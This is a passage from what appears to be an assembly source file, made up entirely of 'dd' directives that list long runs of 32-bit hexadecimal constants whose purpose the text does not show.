79AD7D1h, 0FC395F26h, 0EE0090B5h, 3A76E201h, 0B5862D9h dd 2F129BA3h, 0D336B400h, 57F005FAh, 2E7A107Ah, 6329E01Eh dd 68B07A40h, 0B8D2AF9Dh, 5F6F2h, 658F43Fh, 4D657CF6h dd 6C237326h, 0DB92D200h, 1D8B6E0Eh, 8197D6B6h, 234ADBAh dd 332E60D1h, 43625900h, 0DB4A8DB1h, 0EC370716h, 0E022D5B5h dd 0A2418029h, 7D768A00h, 0C1C02DE9h, 0B11206BEh, 0D41E44F9h dd 1F486C00h, 0C35A185h, 246B3EECh, 0FB1C7000h, 6219152Ah dd 0D087DC00h dd 7659CD5Ah, 743E00DFh, 83F82D86h, 4E134B19h, 8E18DCC1h dd 1FCCDE34h, 40143879h, 3CE16E8Fh, 6A000E6Ch, 97CBA3F3h dd 850719h, 77823E7Bh, 0C76C94C0h, 57DD10Fh, 668BC0ADh dd 39FC3CCh, 0ABDAE2C5h, 180D68Eh, 0B7077E28h, 0B3F41FCh dd 3DC070C7h, 736459Dh, 66E6E495h, 7F610073h, 0F8002468h dd 825C75CFh, 180B8A44h, 4E324CECh, 8A901AA7h, 241BC00h dd 0F4AA5989h, 74F011h, 6DEFA060h, 94B41665h, 0B8E30200h dd 62538FFEh, 64BC0046h, 5205C690h, 4900633Bh, 31710DAEh dd 7EA2B5h, 9965135Eh, 1B2C5059h, 92BC3400h, 91952E79h dd 8C37000Ch, 626BD801h, 0AE009ACEh, 3514CF96h, 3FB177FEh dd 1780C82Bh, 0F5015AC0h, 917B1208h, 0C959D400h, 0AA3FF836h dd 0A89E009Ch, 168EE1E0h, 35121ECBh, 0FE0087B6h, 0B5E9D2E3h dd 0A6DA3EB1h, 90763100h, 0BD84B4A1h, 12C57000h, 20B31FD7h dd 225300FAh, 5B7404D3h, 8D00AFE0h, 0E915AA98h, 1EDC52DBh dd 4CB36Dh, 925D6753h, 0C60001D3h, 34BD4712h, 3F2413DDh dd 0A480F1A6h, 0BCAF7298h, 0B5FCC29Eh, 0F0006B76h, 932C554h dd 1085827h, 0F3A38CBEh, 0F87EE062h, 0DA7543EFh, 8488B000h dd 91F40EADh, 53EE00C1h, 95BA8330h, 0ED00948Ch, 237ECBACh dd 0F58A2Dh, 0DE945E6h, 2A46F64h, 15C1BA00h, 0EAC4CE71h dd 29010322h, 2682E821h, 90C811A8h, 0AEB84A00h, 0B365D184h dd 4ED60096h, 3386122Ah, 0D8001D0Bh, 0CB5920D5h, 182D1Ah dd 58F33DCDh, 65445CF4h, 80550D3Ch, 1EC56734h, 2FB7BE5h dd 18C982CDh, 8A7DA7AEh, 0B2008DB8h, 969E2A31h, 4B17071Dh dd 0B0FC465Fh, 7C9BCFBDh, 75EFC407h, 41EFB9FEh, 3A1F6285h dd 9405C0h, 0DD5DE3F6h, 0A128E411h, 7A56FB04h, 0D3C08CECh dd 0FB1BFED6h, 0C161AE80h, 0CB6E52F7h, 0CDA17003h, 0D81342AFh dd 0A309Dh, 0BD555D09h, 7ECEFD6Bh, 74B75C00h, 0BBB5A7E8h dd 7B10072Eh, 30696F95h, 0E69F4EBEh, 1B70D500h, 0AA5B5DFCh dd 1E250089h, 0A4C9FBADh, 31008F9Eh, 0BC41666h, 38D3B582h dd 0CE80FADBh, 52BD22B9h, 6800E6B4h, 0C1A2461Bh, 0E9089Fh dd 710B9776h, 920D5FD2h, 0E2E427FCh, 2F395900h, 5C694FD1h dd 1D8600B8h, 38835E54h, 0EC00311Fh, 0E464129Fh, 0D5C266h dd 5048B8FFh, 915CB525h, 0A7B65700h, 1D93D647h, 1C62FCEFh dd 80FB8D5Eh, 7A749794h, 0BB0070C7h, 892E914Ch, 6AFEEDh dd 9324AA73h, 18A6FCBh, 4857AB00h, 0ACC8435Eh, 59540545h dd 80FC945Ah, 0E807525Bh, 57BE1200h, 0A68AFF24h, 0A7100021h dd 9346B5CDh, 0D0FDE11h, 0E0408981h, 0D8F1DAB6h, 0C9A7000Bh dd 0D24254FBh, 201C7DC3h, 0FFC0C508h, 37BB4182h, 53C41D89h dd 2111007Bh, 6AB2DD32h, 0E60039F2h, 0EF60E186h, 3ABB73A6h dd 6F82C51Eh, 0BC291D4Ah, 59602FE2h, 341ECCE6h, 0E2402BCBh dd 0D79A1C7Ah, 0F6F33E0Ch, 2539D807h, 0F5B7A0EEh, 2C1E1631h dd 0CE80A8F8h, 8C87764Eh, 1B454862h, 3C95416h, 26CFC3C0h dd 1EFFE290h, 6C009271h, 9E3E5B1Dh, 79FB10Eh, 491FEE36h dd 4D27021h, 0F8EE5592h, 0F609A100h, 0C6CF6375h, 67B071h dd 12A3C9BBh, 5CBD489h, 65A5740Eh, 0AA5360F5h, 0C95A4Eh dd 250EDC2Dh, 86DEA313h, 27155Ch, 0A7A13EA0h, 0E41FDDh dd 0AA46D5DAh, 755B9051h, 661C0700h, 0DD207634h, 0A7A20161h dd 0F213607Bh, 0BA4B21EEh, 320D8020h, 0F09E26E5h, 0C8CD1CB0h dd 0DCE3C55Fh, 59C70036h, 43A3D7E1h, 718A7B60h, 88FA9Dh dd 984D0DD2h, 65346F02h, 707A8B07h, 0C3C0213Bh, 578209h dd 58EBC15Ah, 542E7B89h, 879E3000h, 75D4BEEh, 33F7190h dd 4475A83Bh, 0CE89F531h, 0D96830E6h, 57EDE203h, 0D8BB3C9Bh dd 1B21F8h, 0B1161ED7h, 0B7326AFDh, 0C65DBE00h, 57D99863h dd 0B63900BAh, 4DD34ABBh, 6500D561h, 953C0F30h, 236A2A5h dd 0F2034FB5h, 0D940503Fh, 0CF1D2346h, 57C06708h, 0D6D05C3h dd 9AF51C4Fh, 0B53A8074h, 0DA03465Dh, 4C077918h, 1F6287F4h dd 0C08990FCh, 4667D518h, 6F0035FBh, 4B3C7050h, 5A48A3h dd 734C7BB1h, 0E7811AB4h, 8A999E07h, 0F8B0CC20h, 7848FB3h dd 0A2E5348Dh, 68834024h, 0BD010B39h, 0BC6C18AEh, 35E8A8B5h dd 0C426011Ch, 0E09F8132h, 79C6601Eh, 679B6D00h, 8CD330B7h dd 35550007h, 0B0927FDh, 0ED00B662h, 8F6F76A4h, 44FE25h dd 0FDEE3AABh, 7A224171h, 62C5DA1Ch, 0E3FBD840h, 0AAC0E1h dd 25136A28h, 4E5135F8h, 4C5ECA00h, 84CFF0E5h, 0F2A30085h dd 18743F03h, 6601386Dh, 2EC5B361h, 0A2F8C962h, 58340097h dd 8382FAB1h, 0DC76A421h, 0B27AA00h, 0D09D5DB8h, 946C0E1Ah dd 0B9C0830Dh, 987D33BAh, 0C2EA2E00h, 0D60852F9h, 86B01FF7h dd 1E8E0013h, 0D1E5CD79h, 0E4EFCA00h, 7356DDD0h, 0E92E0055h dd 65F1C8F6h, 74EED876h, 6307ADF4h, 0EEBBAA38h, 0E2C63EE0h dd 0CEBC141Bh, 7E75C1BEh, 0A1D3010Eh, 49936169h, 0A3480E3h dd 0A730DD59h, 43BA0014h, 9C24FF81h, 0A80097CEh, 0BE3B7DEFh dd 7259DD84h, 528C0167h, 0DF389B74h, 0E4036049h, 5B3AE103h dd 906D508Ah, 7B7FDAh, 6B37DE14h, 926CB319h, 0C7051807h dd 8E2363C2h, 94B9C833h, 83810038h, 3C2DCA08h, 773FB5EDh dd 0E960001Bh, 464E5D5Ah, 1F5300A4h, 0D48D80C5h, 0D100DFCEh dd 0AAD7A7F8h, 0FCA8A382h, 7A2E6EFh, 8F71ECBAh, 6314B018h dd 8E0015F8h, 1986C17Bh, 0EAA034Ah, 786B5BEFh, 1300F20Eh dd 0D399D85Dh, 0AC023100h, 0C0275F4Ah, 6BAE00BEh, 0A98F0159h dd 6024125Eh, 4000DCF1h, 8E8A1343h, 7E350074h, 0D450275Ah dd 7A1DFE6Bh, 807B293Ch, 0C83B8666h, 195ABEh, 571B7178h dd 59B85FA6h, 7F01F279h, 4E356D95h, 0B3F84066h, 4F191C55h dd 0B6A699h, 87CED21Ah, 0C405700Ah, 0B038EDF8h, 0BCDF53C0h dd 0DECCF9FAh, 0A1E00028h, 785CFB80h, 0B400BDA6h, 6499CB22h dd 53585Eh, 0FBB1AA84h, 7CAB7BCAh, 0A707F6F4h, 0EA301228h dd 0E89E8503h, 1F2C7467h, 0C3E347C4h, 0E9A19291h, 66200780h dd 80E7123Ah, 9B6A3CBBh, 4D2755h, 0B52FD40Eh, 8D335A86h dd 0C7C64Ch, 12F78A24h, 0F8F04C84h, 0B8A600BEh, 8BDDA2EAh dd 2F00B0E3h, 1D29C894h, 90E70D03h, 15F7029Eh, 8CBE2567h dd 175E9E0h, 691B5Ch, 0F3407BB3h, 7370E7h, 82BCC9E5h, 3B97933Eh dd 0CE00C3F4h, 76DE560Dh, 7A489F52h, 47C80719h, 713C6DCCh dd 0C34F181Fh, 0AAC0B7E3h, 8C00A975h, 116F1D57h, 1BC3BEh dd 3AB5A08Bh, 0E0D31CFh, 20016E00h, 7C58C26Bh, 5C8C013Eh dd 30D460EDh, 1C2DF414h, 0F9E4881Fh, 0CF2E81C0h, 7C46D83h dd 4785F4E3h, 652B1073h, 7600FCA7h, 7AD4E577h, 1F69D8AAh dd 0C0D1343Fh, 0BB17A6DDh, 0B82647A3h, 64007F88h, 44F5EDA9h dd 3A7D2429h, 0D1D01D3h, 60532EE5h, 1200D5D6h, 9D1C064Eh dd 0EA6647DCh, 22383BADh, 530D9380h, 0D9979816h, 0F1006E7Bh dd 0A389B35Ch, 0DB42E0h, 70EB8096h, 50FA9522h, 0B374BE07h dd 2F0F7F18h, 0F87CA0FDh, 395798ACh, 0A880D052h, 591ECE3Fh dd 8D38D85Fh, 0F7C800ABh, 0D29D9A44h, 0B3420093h, 0A43A3F16h dd 0BB3B6FC5h, 60FB00C0h, 536EFCDBh, 0B00700CDh, 6C97B3F6h dd 0F00EFE32h, 0E00ABC66h, 0F4D8ABCBh, 58953DAFh, 7A1A8783h dd 39A0DD8Dh, 29033417h, 32E682FBh, 2B5EF09Eh, 0C2B60078h dd 73B8F971h dd 0E100A50Fh, 0C7A865Fh, 0A12909h, 0E8BC4B2Dh, 0A69E9F0Ah dd 0F5E58A00h, 0DE3165BBh, 6C250030h, 108C29EAh, 0AB0099B9h dd 0C3FCA690h, 0B65AD6h, 0D8CBA218h, 9B5EA128h, 851E1400h dd 7B5B044Ch, 7705036Ch, 68F31547h, 0E818C398h, 0E307B000h dd 0C066E483h, 0ECE90089h, 0DC3281CDh, 0A53E53BFh, 8C7C006Ch dd 30080754h, 0FE38070Ah, 5073ABBEh, 4CBD5C1Dh, 7048B100h dd 0E69343DEh, 2CD0E27Bh, 75F806Ch, 1E459E0h, 0DFA00B7Dh dd 0FC5158C0h, 0ED00D9B0h, 7797FEFDh, 0D114Dh, 0C5F92E9Ch dd 2C3603D7h, 4863E00Eh, 3EDAA0F4h, 7D3086h, 784E07C3h dd 0DEBE4C02h, 0D0DC4700h, 21F756E0h, 0D7A00098h, 294F8F76h dd 4D070649h, 0EB232E20h, 0B834DE10h, 8B360039h, 6EFFD8B9h dd 4778DB99h, 23005B73h, 0F261BA5Ch, 1518E2Ch, 0D1CAC2Fh dd 0E0D5EF3Ah, 0D8E94782h, 7F034356h, 3B6BDAA7h, 96BBF086h dd 2A600FFh, 0E02BCF68h, 0D93C4C92h, 0D6AE8E06h, 3D872667h dd 0D72DCh, 65A44E46h, 808FCC9Bh, 7F96ED00h, 1FD4C3AAh dd 717239h, 33B8756h, 0E15817F5h, 802B3300h, 43C6C59Eh dd 0E7B60049h, 2F6778FDh, 0A44E932Eh, 3C487700h, 62753Fh dd 5F2D3438h, 5D95ED25h, 0BE633738h, 81F0080h, 42564721h dd 0B4D4007Fh, 0FF119854h, 0A50224F5h, 3A500145h, 0B326E0B9h dd 73D5005Ch, 97D87E1Ah, 8007B0A4h, 313F6129h, 60471910h dd 1D3D7A13h, 8074715Ah, 7DCF5965h, 0DF01F79Bh, 7B7C1C6Ch dd 53F44973h, 0D6DC00D1h, 0DBA3ECFFh, 37003FC5h, 5BA7177Fh dd 723DF5h, 829BDCFCh, 340CE4ABh, 0B13C4D60h, 0D8460Dh dd 4AD93A72h, 66619940h, 0B5A1C700h, 1FB7B016h, 6E70F4h dd 0ED2E0FB2h, 29651284h, 89A6C100h, 301D74BBh, 795A0060h dd 0CCC01582h, 260EB019h, 4042F216h, 20453DCEh, 0FC20029h dd 9BB71BC7h, 0D6FE3C49h, 0E9611403h, 1A044BCh, 410FA384h dd 0E8CEDBEBh, 0BD007D20h, 939E16ECh, 24F379h, 382EBEB4h dd 37E34D90h, 0C8F5D50Ch, 0FF696E4h, 0D861CB59h, 44D69400h dd 4D009A49h, 74C34064h, 349E4Ch, 6983E750h, 0E268E5EAh dd 70B85B27h, 13A40085h, 6F1B1037h, 890080F4h, 8D0AC90Bh dd 0F06C3E46h, 0A9813E08h, 0F1D0380h, 0DF6A8F6Bh, 0CF17400h dd 11494A4Fh, 57541F4Ch, 3FE68048h, 0EC04405Bh, 0EDC40D00h dd 0EE5FFD83h, 670300A5h, 1537B0EFh, 0A600EAB3h, 8EDA1A82h dd 0D8B22Eh, 0D3D911B4h, 1FE7A7E4h, 5658EA00h, 0ED6C4932h dd 661B0C5Bh, 0DB9EF7EFh, 30F0D300h, 8B4464E3h, 228100D6h dd 0B29977BFh, 0AF01EC4Ah, 230ECF02h, 82D85B84h, 8B460F17h dd 77276641h, 0EB00DE9Ch, 57A75321h, 0E1B12800h, 0C1DDB55Bh dd 298700ABh, 38BA88BBh, 0F5006720h, 2722B8FAh, 0F8D4AE9Fh dd 8E4300DDh, 0CB6BE12Dh, 0D60077FFh, 44BF767Ah, 70E79F81h dd 0A7F7017Ch, 0F106053Ch, 0D1CCF8C0h, 99C640B5h, 0D55002Fh dd 86FA6351h, 471C0706h, 0B24FD05Fh, 0EFF020BFh, 0DE280Dh dd 3459EBBAh, 0C87A5123h, 0E3007EFCh, 888E1AAAh, 3EF480CBh dd 8D9DC6EEh, 97FD8007h, 4D282964h, 6E007AE4h, 9143BA3Ah dd 0EE3409h, 0BE5B54F7h, 58470F2Dh, 0E3FA5900h, 179E8810h dd 76A076C7h, 0A6AE3FB8h, 161BA180h, 0CDD87C9Dh, 77BA4700h dd 686D8050h, 413D5CD3h, 2B0CFF00h, 953AB9C4h, 42DD7C03h dd 0E8242316h, 0B5B7934Dh, 66E50E0h, 0BD584C1Dh, 45DF0079h dd 6D3E5EDEh, 518700DBh, 6098A7A3h, 8F7CF8E2h, 5BFD9703h dd 0C3C94ED9h, 0C87B9B08h, 4CD3B3h, 70E67F64h, 0D60A4287h dd 9801A900h, 1A69E08Fh, 0BB1C00CCh, 5185C6E3h, 5509DF5Ch dd 0CEF9521h, 0E6B354D6h, 1EEBFE11h, 0E912F97h, 96421Bh dd 8AFA7DD7h, 0D60E1150h, 801A716Fh, 0FDEB8996h, 68D2018Eh dd 86A92AB4h, 75E7E84Eh, 900BEE0h, 482ED71h, 35B436Fh dd 0F273C3D2h, 8DBC5C7h, 0EEE26EC8h, 62F0850Fh, 45AFE381h dd 0CB48D0D9h, 3A63000Dh, 0D4ECB8F2h, 790F7CABh, 8782226Bh dd 74909D10h, 39607152h, 6F00B815h, 4C5E16A5h, 1F005556h dd 63E82DA4h, 0F845EEC9h, 2A770091h, 123BBAE9h, 0D51D014Bh dd 89C0DED7h, 0A9EC14FDh, 0C61D0027h, 0B0F115B1h, 131D7F57h dd 8A80F550h, 0DA9E0291h, 0FBE6002Eh, 765358C8h, 0C67E1F43h dd 0A416E906h, 0B84A50h, 85A55B10h, 0CB650790h, 9253182Eh dd 6251FE00h, 3D027D88h, 1DF0CCEEh, 0C0E1B0ECh, 0A712361Bh dd 660082ACh, 7414F18Eh, 55E829h, 170E53C2h, 3E8D6760h dd 0E9A12101h, 59FBB4A2h, 0F703CC5h, 6980004Bh, 5DC39F37h dd 96007014h, 1B203F62h, 0C78508h, 9DACA467h, 0B25D5F60h dd 0CC03E0E2h, 0FA2DEDDDh, 7BF2C846h, 0A0FF901Ch, 3FF32A05h dd 3380CEE5h, 36D950BCh, 0F2C27E45h, 60E0F82Bh, 0FC5EB5h dd 0C6BE72Eh, 0B7D9FB4Eh, 38F3DA00h, 39BF5B15h, 1D7AB0E3h dd 801CF1D4h, 0A18C75CFh, 500F7BCh, 9EF42FDFh, 0F3DE60h dd 1115C60Bh, 52A7BDCFh, 5DF00703h, 0F0FAA29Dh, 0FB66F35h dd 3249709Ah, 23C06D63h, 0C1E5F990h, 2C694C00h, 921FBCA8h dd 0C75D4h, 14C8E293h, 0B1B4EACEh, 9E5CD90Fh, 0F6EB6791h dd 0C4095160h, 0AB3A3870h, 4FB3E300h, 0CD2D2F68h, 0E7BDC505h dd 77C027EBh, 11BA835h, 0F47F0C5Ch, 706A46F2h, 9077C20Eh dd 0E8A6B00h, 49986548h, 55C40067h, 5AA73924h, 6600F145h dd 3FB7BE33h, 8125C9h, 9A0EC79Bh, 54FD17D6h, 0C0B24100h dd 99F5CD77h, 4549006Bh, 844DE21Dh, 830703E1h, 0ECA396A8h dd 0D2816E60h, 0BFE005Bh, 760F75A2h, 1000E9Ch, 64CE8C79h dd 0E5EBFEBh, 0ECBEB267h, 0D57742A1h, 7B63D894h, 0A8A7E300h dd 599BD631h, 8B7E00F0h, 1D55809Fh, 0FE0034A2h, 4125A65Dh dd 4CF28h, 6E8DCCBAh, 80A03EDBh, 0B627A500h, 8ED0E4B8h dd 31B0030Bh, 93C0AD9Eh, 0E151A9F0h, 9A156A30h, 702564Eh dd 94DBD6B0h, 51167052h, 0FF00A6BFh, 0A8CC4AEAh, 0F6140ADh dd 580EACBDh, 44B542C0h, 4900220Bh, 7A15A92Fh, 12D75A69h dd 0ECAB2968h, 0BC077B7Ch, 0DCDEA18Eh, 0FC603D40h, 777E031Dh dd 30A2E6D9h, 36EDCAB8h, 0F0D8CB05h, 8DC0D2F7h, 58BB90h dd 0DF4577E3h, 5955C803h, 0E72A403h, 0E04A376Eh, 0A2E349h dd 34C6AA53h, 0AE4233EDh, 4700727Eh, 118CD901h, 7C7525Ah dd 883E255Fh, 960EA04Eh, 830037DAh, 6D1CF09Eh, 0F72F94h dd 3DC1052Eh, 4363FABEh, 0F9007178h, 3352885Ah, 3B153ED7h dd 0BB3A131Ch, 813A3007h, 6BD5A0ECh, 2300DE7Ch, 0AB5A58DDh dd 3EA51134h, 68B84147h, 9CDA007Eh, 346F8E6h, 0C90EA61Ch dd 7D7CF417h, 51B9700h, 3257F13h, 0A6308350h, 0E9001DE3h dd 0DFC421E0h, 134777AFh, 0BE081Ah, 73C72C09h, 9800E3EDh dd 1E3776B8h, 0FBFEA3h, 0D3A89235h, 189B6F70h, 0DA3A3B00h dd 9C2C0F73h, 0BB6A0009h, 6CB7E64Eh, 9E485557h, 79E7006Fh dd 0B5892EE8h, 5E853BBBh, 0DABDB180h, 935B88C0h, 4069D200h dd 0F477F61Ch, 0F1E200DBh, 13BAC3BDh, 75F43608h, 0FFC83000h dd 0A8AE8D39h, 14BB0024h, 4451525Eh, 0A6B8A7D6h, 0CBF4C100h dd 0F1FD7716h, 9E0B1EABh, 5B82405Dh, 0A1029C18h, 19749800h dd 7D29F3C2h, 271A07B4h, 0C0F22FB0h, 157896C6h, 0D50ED300h dd 82984ABh, 0F80F30ECh, 0C579DAEEh, 78B74Ch, 0DF527EE8h dd 0D7388Dh, 9B13CDD9h dd 0D4CC70C0h, 0CE000D7Ah, 32BB8AC4h, 341BCC6h, 2295A3D6h dd 0A8D08454h, 5700084Dh, 503AA9EFh, 0EAF4716Ah, 24D1E6DFh dd 0E15AF7h, 2223C3EDh, 0AA009896h, 9066502Ch, 1235A05Fh dd 40891Ah, 8BC6D66Ch, 0B9005725h, 22BEE451h, 0F63C02FBh dd 0ABC006Dh, 1FFE9A8Eh, 0C9005513h, 1A28F329h, 0F1AB2Fh dd 1943546Dh, 79FB3709h, 66C84700h, 0AF1FE131h, 713F7012h dd 455300D3h, 70F08859h, 0A800E6E3h, 0F501C9F7h, 1F1B19B3h dd 0C1BDD9B7h, 0EE964912h, 0A46BF074h, 0D84E7800h, 0E5D06C5Eh dd 0AD2A0E99h, 3633D09h, 89D05354h, 0C600B7F7h, 597DCCB0h dd 0CA2DA7h, 0F0C1774Bh, 96BEE002h, 0B873C900h, 1416DAACh dd 867F072Ch, 0AFD124FFh, 6CCF0460h, 81070289h, 5DF0644h dd 4A6A61A0h, 0ECC500F1h, 55E33BADh, 660009D5h, 750A0792h dd 700F5642h, 0F9480E4Fh, 8D80DB3Dh, 46BDB87Ch, 26BA3800h dd 93A0B566h, 28E9897h, 0F2E84315h, 3CC1DBE7h, 7F44D420h dd 0D678FA07h, 0AEA061ACh, 0B125D1h, 2852C202h, 0A53A4C4Eh dd 3E221D01h, 0EEB94F34h, 0ECAD5DCh, 0EF25E76Ah, 15EAD20h dd 512C8E22h, 0F800035Ah, 0C3F7E8AAh, 21FADFh, 0D7A92739h dd 31D0CB9Ch, 5F93A600h, 59F50589h, 783A7574h, 79DE00C6h dd 0C0E80990h, 1EA070Bh, 0EA0061EEh, 4E554B98h, 74BD773Eh dd 16D700F3h, 9D58FD29h, 0F5008FBAh, 0D0868848h, 0EEFEE67h dd 2943827Fh, 426F98E0h, 0EC00AB10h, 4E64B4A7h, 380C8034h dd 770FA014h, 21C25A39h, 8A805316h, 83E87FCh, 9280561Fh dd 3A94E840h, 7888267h, 0C7594B09h, 3E45B024h, 0DE0786C8h dd 74332B12h, 3885F8F0h, 0CB4F0001h, 0F2DC7AE2h, 0D9002308h dd 2D4B279Ch, 2BDB97Ch, 68F7EAEFh, 0E0C12F90h, 39E6C8B4h dd 613A5C00h, 0C4DE1E2h, 2A81CA3h, 87F04094h, 1D5B8C93h dd 910100BDh, 0EAE059h, 0D87B1266h, 0C465D546h, 4F51CF01h dd 1B9B2FEDh, 12AD4F8h, 58A9F499h, 308DF557h, 6A009857h dd 7E6F667Ch, 7C1B522h, 0CB8075ADh, 67E9405Fh, 88007F9Eh dd 2EBEBDE4h, 1D6AF0B4h, 0FDE25BDDh, 0F6145300h, 9E3E4838h dd 9B1CE800h, 0A6C3FFFAh, 90F4EBh, 4E09A432h, 81B65570h dd 64172600h, 74CFC39Ah, 51D4F316h, 970100D8h, 33C1A37Fh dd 0FE016C3Eh, 1A8F67FAh, 77F58C43h, 104920h, 6178DAFDh dd 0F503A07Bh, 0FBC6CF00h, 131C209h, 9B4600DCh, 235E6E11h dd 8B00C1ACh, 0BA594014h, 0DE7434h, 0A5A1D7F7h, 471722F0h dd 54248C00h, 0C49E4F9h, 0CABA003Fh, 4B4AB811h, 0AC0FF7D5h dd 40F110CCh, 35F98826h, 7B41F4E1h, 6B27000Ch, 0BB44FDF5h dd 0B8003D15h, 3583195Ch, 8A75D4h, 7DA5553Ah, 6AE64389h dd 0F9D66603h, 0D8BB2AE2h, 0B557C4h, 53F258F1h, 18BCC38Fh dd 0E801E970h, 148AD8F6h, 4CF894CBh, 0BB2803AEh, 0FE75CAEFh dd 0A33BE2D0h, 809DE13Fh, 15124A1Eh, 63A5EDh, 77B4E924h dd 34DC04FFh, 9A254B00h, 1079C388h, 5BE002Ch, 68867118h dd 0BA1C699Fh, 6240C1F2h, 0E82FC8B7h, 0DF7B0092h, 536169Ch dd 7A0055CEh, 9B07ABB5h, 7BD53FE5h, 1595004Ah, 1238EE0Ah dd 9C3C3D9Fh, 14037FF1h, 0FBF0224Ch, 0E17E062h, 873400BFh dd 0DD81F32Eh, 71002D05h, 0D57B9E18h, 0D77F7Ch, 66A629BBh dd 5AEFF20Eh, 0A1CFF000h, 5445B455h, 4DC90092h, 6427028Dh dd 580029DFh, 0F8DA7372h, 0DCDB7Dh, 101C3F62h, 0AD880BDDh dd 5131B203h, 0E8771D1Bh, 0D2EDF7h, 13A11E8Eh, 9AEA7CB3h dd 7AD04B00h, 0C9866610h, 0A2B91F26h, 9EA38928h, 0EA3E9880h dd 0E0006FBCh, 0AEEBF572h, 0FDB029h, 0C634255Dh, 6D685C42h dd 0D188BB03h, 0D8127EB9h, 7AAA24h, 290970A6h, 4F98BA2Eh dd 66BD5C00h, 8ADD1EA7h, 0ABFC0FD4h, 4500FAB6h, 2449D80Dh dd 0BDB20700h, 50EE2793h, 0B63B0079h, 0E634F5E5h, 31011E42h dd 3C815FC1h, 88D8A67Dh, 4B53006Ah, 477FD014h, 500FD516h dd 4EEFBE64h, 0E6003EEEh, 57FDFE56h, 9EF6F0h, 2783FB05h dd 2BAF3AFh, 43FA5A07h, 0AE0348Eh, 0F2BF6EBh, 0BA7860Fh dd 2FF83860h, 0BB0046B3h, 3DB5749Dh, 97794C4h, 2656B7A6h dd 7C81B001h, 0B464D070h, 0E70EA400h, 71746EAEh, 157207DFh dd 0A00D0F1Dh, 96639921h, 0C1F75607h, 0F630ED2Eh, 6042A1h dd 594C87C2h, 12BBD583h, 0A0322700h, 4025622Eh, 50410033h dd 4D601ED8h, 0E47598C4h, 0B00096B8h, 39EE1745h, 29A4C8h dd 0CE6BEC1Eh, 7732DD7Ch, 0E8305207h, 47806E43h, 3FEAA11h dd 533D64EDh, 0DC00E0F0h, 8699D3B0h, 3A746A26h, 16975BC9h dd 6DE9DEh, 30FB195Dh, 33A356h, 35851D4Ch, 0A893E3B5h dd 3CD48803h, 0B9C073A1h, 78C4CD64h, 19D20022h, 0D5DE5DEFh dd 8100300Ch, 2A21D983h, 1761201h, 884F9B1Eh, 0C866B22Eh dd 0D8007F32h, 33149D48h, 0D309ACh, 0CA64E46Bh, 0F150212Eh dd 762B1A00h, 0CD2242DEh, 7EC400F3h, 1C7C2F98h, 0F1EB3B5h dd 9F802E95h, 0E5703B9Dh, 0E1880F43h, 3EE0F7FEh, 4160B647h dd 1FA6B409h, 16E5CEAh, 64773017h, 0BF1F200Ch, 0EB07ABEAh dd 0D487FA93h, 0EE650780h, 42D203AAh, 0B8A88FE2h, 0D1A23D90h dd 7BDFE800h, 8BB1393Ah, 147A0062h, 6723815Bh, 9B3A9AF7h dd 3B56071Ah, 44D07843h, 3A4AF394h, 0D006573h, 0A2CCC695h dd 0A63A3827h, 0FB48008Ch, 0F14B75Fh, 3E50349h, 0EC047A1Eh dd 254058B0h, 16C72D01h, 0E2F8FFC6h, 2BCDECh, 0A1F13BCEh dd 5144EF0h, 0A50B8400h, 705528BDh, 0AEDEA037h, 5C0EFE98h dd 3D1DCBF1h, 22148363h, 59989952h, 0B8261B05h, 7800BA45h dd 0D7803D8Ah, 0E3C0004Eh, 0FE5B22BBh, 66004633h, 4F47D5Ch dd 3BEB84ACh, 704219h, 2A76F562h, 4989875Fh, 0A7E97D00h dd 586AF47h, 0A81200A5h, 5556D0C3h, 480030EAh, 0CAEDBFD5h dd 937471h, 7962F24Bh, 0D6F93CB5h, 8041507h, 0E09FBB87h dd 65C03EFDh, 7EF7A033h, 60313CB0h, 4E505289h, 0F94F8400h dd 0B4001193h, 0E482B606h, 80D846h, 0A5CBAD7Fh, 863CF776h dd 274D9B1Eh, 0F5E4EC00h, 3F51217Bh, 4B1EA7BFh, 0AB778074h dd 3BCB049h, 0E006C9Ah, 33341048h, 0E830E208h, 0CD1500C7h dd 3ADD13F5h, 6C038FD0h, 0D31D2FACh, 52E48059h, 0BC5700A7h dd 2304880h, 0BD006EA4h, 1B5C8EA1h, 77CCF23h, 9357D699h dd 9C008971h, 3AC8865Bh, 173CB09h, 99878040h, 0F8605CC0h dd 0E4B30077h, 0F33A91E2h, 0DCE7336Bh, 641EC642h, 688E3699h dd 0FF4F0077h, 378A57Ch, 3823EE1h, 0EF80B751h, 0A10EB319h dd 8096AACFh, 28E89838h, 1A110054h, 7447674Dh, 72004699h dd 0FC662236h, 283212C1h, 0F8A70Ch, 3C53E93Dh, 0D7688F60h dd 0C79B4C00h, 0DA929845h, 9F5C03B2h, 7F73666Dh, 2CA774F0h dd 23F64800h, 6C0B977Dh, 2FD90043h, 67507BC6h, 0EE01C1E1h dd 27CF8D05h, 0EE404404h, 6A5E5Fh, 2B086DACh, 203579ABh dd 6205C50Fh, 0A4922002h, 7C4D50Fh, 744983BBh, 3DA190CFh dd 933AA759h, 0EDCC0017h, 7B09179h, 358800F3h, 7C19ECF5h dd 3A000CC1h, 0B1E450BBh, 0DD69C5h, 994254F0h, 26FA92FCh dd 7F031800h, 0E5F84908h, 0D60900E4h, 5EB4E77Dh, 907EE922h dd 0F7A8B603h, 0E01F2EEBh, 30C52h, 58D37E1h, 866E358Ah dd 0F7509E00h, 0CCA6C61Ch, 771100E4h, 0E68AB26h, 92004047h dd 4507607Ah, 3929C793h dd 44804D72h, 7B1D26BAh, 77EC35B7h, 65B2CF1Dh, 36D4D700h dd 0E5A1C6h, 3131E4Fh, 0B1277544h, 0A39E9203h, 814CF80Dh dd 0D09E45E1h, 6530C04Eh, 62B154B5h, 3A9A6900h, 2BA3ED04h dd 56FE019Bh, 0CE0C205Eh, 0F830D1A6h, 0B37BE262h, 0F3BE721Ch dd 4D076800h, 49A0F4h, 0A92469A4h, 0E00C22B6h, 9AEEDB00h dd 0B398848Ch, 6A5B0077h, 0E1D7521Fh, 4D00AAC7h, 0D2582A51h dd 0E7F691h, 0B7ADA1EAh, 0A5C02D2Ch, 6F7B5500h, 0D46AD70Ah dd 7C9302A3h, 2F5F16AAh, 9BDD6B40h, 4DF17A06h, 12CAA0h dd 3A8451F9h, 0E7FA4C08h, 0C7453F00h, 0DF629AE1h, 0AC2D00EAh dd 6CAB112h, 39132776h, 4D00C9ABh, 1191E0Ah, 8CA32694h dd 11B300AEh, 3BC72C07h, 0A4378700h, 0CC6C1539h, 124407FDh dd 94ADBB64h, 0D6188065h, 1A01C37Fh, 0E03A1B9Ah, 5ADC3624h dd 54B700BDh, 